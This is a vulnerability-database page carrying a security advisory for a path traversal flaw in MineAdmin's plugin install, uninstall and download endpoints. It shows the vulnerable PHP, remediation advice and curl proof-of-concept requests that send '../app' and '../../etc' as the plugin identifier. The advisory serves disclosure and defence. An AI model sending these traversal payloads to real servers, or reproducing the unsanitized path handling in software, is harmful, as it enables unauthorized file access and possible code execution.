GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-59XM-4M8C-G3XJ

Vulnerability from github – Published: 2026-08-18 20:40 – Updated: 2026-08-18 20:40
VLAI
Summary
MineAdmin Vulnerable to Path Traversal via Unsanitized identifier in Plugin Install/Uninstall
Details

Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall

Summary

The app-store plugin service concatenates unsanitized user-supplied identifier values directly into file system paths. An attacker can use path traversal sequences (e.g., ../) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.

Vulnerable Code

File: plugin/mine-admin/app-store/src/Service/Service.php

// Line 32 - download(): path traversal via identifier
public function download(array $params): bool
{
    if (empty($params['identifier']) || empty($params['version'])) {
        $this->throwParamsFail();
    }
    $service = make(AppStoreServiceImpl::class);
    if (! is_dir(BASE_PATH . '/plugin/' . $params['identifier'])) {  // Path traversal
        $result = $service->download($params['identifier'], $params['version']);
        // ...
    }
    return true;
}

// Line 48 - install(): path traversal + Plugin::install() with raw identifier
public function install(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    if (file_exists($path . '/install.lock')) {
        $this->throwAppInstalled();
    }
    Plugin::install($params['identifier']);  // May run composer commands with traversal path
    return true;
}

// Line 70 - unInstall(): same pattern
public function unInstall(array $params): bool
{
    // ...
    $path = BASE_PATH . '/plugin/' . $params['identifier'];  // Path traversal
    Plugin::uninstall($params['identifier']);  // Arbitrary uninstall
    return true;
}

File: plugin/mine-admin/app-store/src/Controller/IndexController.php (lines 25-26)

#[Controller(prefix: 'admin/plugin/store')]
#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]
// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)

Proof of Concept

# Install a "plugin" from a traversed path, potentially triggering composer on
# arbitrary directories
curl -X POST "http://localhost:9501/admin/plugin/store/install" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../app", "version": "1.0.0"}'

# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app
# Plugin::install("../app") processes the application directory as a plugin

# Check if arbitrary path exists:
curl -X POST "http://localhost:9501/admin/plugin/store/download" \
  -H "Authorization: Bearer <JWT_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "../../etc", "version": "1.0.0"}'

Impact

  • Path traversal enables reading directory existence outside the plugin directory
  • Plugin::install() with a traversed identifier may run composer commands on arbitrary directories
  • Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this
  • Could lead to arbitrary code execution depending on Plugin::install() implementation

Remediation

Validate and sanitize the identifier parameter to reject path traversal sequences. Use basename() or a strict regex allowlist (e.g., ^[a-zA-Z0-9_-]+$) before concatenating into file paths.\n\n---\n\nUpdate: This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "mineadmin/mineadmin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.2.0-alpha.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55224"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-18T20:40:37Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Path Traversal via Unsanitized Identifier in Plugin Install/Uninstall\n\n### Summary\nThe app-store plugin service concatenates unsanitized user-supplied `identifier` values directly into file system paths. An attacker can use path traversal sequences (e.g., `../`) to read, install, or uninstall plugins from arbitrary directories, and potentially execute arbitrary composer commands.\n\n### Vulnerable Code\n\n**File:** `plugin/mine-admin/app-store/src/Service/Service.php`\n\n```php\n// Line 32 - download(): path traversal via identifier\npublic function download(array $params): bool\n{\n    if (empty($params[\u0027identifier\u0027]) || empty($params[\u0027version\u0027])) {\n        $this-\u003ethrowParamsFail();\n    }\n    $service = make(AppStoreServiceImpl::class);\n    if (! is_dir(BASE_PATH . \u0027/plugin/\u0027 . $params[\u0027identifier\u0027])) {  // Path traversal\n        $result = $service-\u003edownload($params[\u0027identifier\u0027], $params[\u0027version\u0027]);\n        // ...\n    }\n    return true;\n}\n\n// Line 48 - install(): path traversal + Plugin::install() with raw identifier\npublic function install(array $params): bool\n{\n    // ...\n    $path = BASE_PATH . \u0027/plugin/\u0027 . $params[\u0027identifier\u0027];  // Path traversal\n    if (file_exists($path . \u0027/install.lock\u0027)) {\n        $this-\u003ethrowAppInstalled();\n    }\n    Plugin::install($params[\u0027identifier\u0027]);  // May run composer commands with traversal path\n    return true;\n}\n\n// Line 70 - unInstall(): same pattern\npublic function unInstall(array $params): bool\n{\n    // ...\n    $path = BASE_PATH . \u0027/plugin/\u0027 . $params[\u0027identifier\u0027];  // Path traversal\n    Plugin::uninstall($params[\u0027identifier\u0027]);  // Arbitrary uninstall\n    return true;\n}\n```\n\n**File:** `plugin/mine-admin/app-store/src/Controller/IndexController.php` (lines 25-26)\n\n```php\n#[Controller(prefix: \u0027admin/plugin/store\u0027)]\n#[Middleware(middleware: AccessTokenMiddleware::class, priority: 100)]\n// Only AccessTokenMiddleware -- no PermissionMiddleware (see GM-4340)\n```\n\n### Proof of Concept\n\n```bash\n# Install a \"plugin\" from a traversed path, potentially triggering composer on\n# arbitrary directories\ncurl -X POST \"http://localhost:9501/admin/plugin/store/install\" \\\n  -H \"Authorization: Bearer \u003cJWT_TOKEN\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"identifier\": \"../app\", \"version\": \"1.0.0\"}\u0027\n\n# This resolves to BASE_PATH/plugin/../app = BASE_PATH/app\n# Plugin::install(\"../app\") processes the application directory as a plugin\n\n# Check if arbitrary path exists:\ncurl -X POST \"http://localhost:9501/admin/plugin/store/download\" \\\n  -H \"Authorization: Bearer \u003cJWT_TOKEN\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"identifier\": \"../../etc\", \"version\": \"1.0.0\"}\u0027\n```\n\n### Impact\n\n- Path traversal enables reading directory existence outside the plugin directory\n- `Plugin::install()` with a traversed identifier may run composer commands on arbitrary directories\n- Combined with GM-4340 (missing PermissionMiddleware), any authenticated user can exploit this\n- Could lead to arbitrary code execution depending on `Plugin::install()` implementation\n\n### Remediation\n\nValidate and sanitize the `identifier` parameter to reject path traversal sequences. Use `basename()` or a strict regex allowlist (e.g., `^[a-zA-Z0-9_-]+$`) before concatenating into file paths.\\n\\n---\\n\\n**Update:** This finding has now been fully reproduced and validated in a Docker environment. The vulnerability is confirmed exploitable as described in the original report.",
  "id": "GHSA-59xm-4m8c-g3xj",
  "modified": "2026-08-18T20:40:37Z",
  "published": "2026-08-18T20:40:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mineadmin/MineAdmin/security/advisories/GHSA-59xm-4m8c-g3xj"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mineadmin/MineAdmin/commit/ca41902a2a5422676227e5088f4cc1dec06044f1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mineadmin/MineAdmin"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mineadmin/MineAdmin/releases/tag/v3.2.0-alpha.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MineAdmin Vulnerable to Path Traversal via Unsanitized identifier in Plugin Install/Uninstall"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…